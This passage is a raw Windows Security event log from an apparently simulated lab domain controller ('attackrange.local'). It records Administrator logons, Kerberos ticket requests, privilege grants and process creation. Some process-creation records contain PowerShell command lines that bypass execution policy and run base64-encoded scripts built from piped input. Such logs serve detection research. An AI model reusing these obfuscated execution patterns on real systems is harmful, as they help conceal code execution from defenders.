Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257757 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257756 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257755 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257754 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x542403 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257753 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54186E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257752 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53F29B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257798 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x111c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES854D.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC5F11788FBC874DD79FF5B63FDEC625CA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257797 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\qewgz0nm.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x553751 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257795 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x553751 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257794 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257793 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257792 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257791 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa18 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257790 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x552384 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257789 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x552384 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257788 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257787 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257786 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257785 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1a4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257784 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x6e4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgA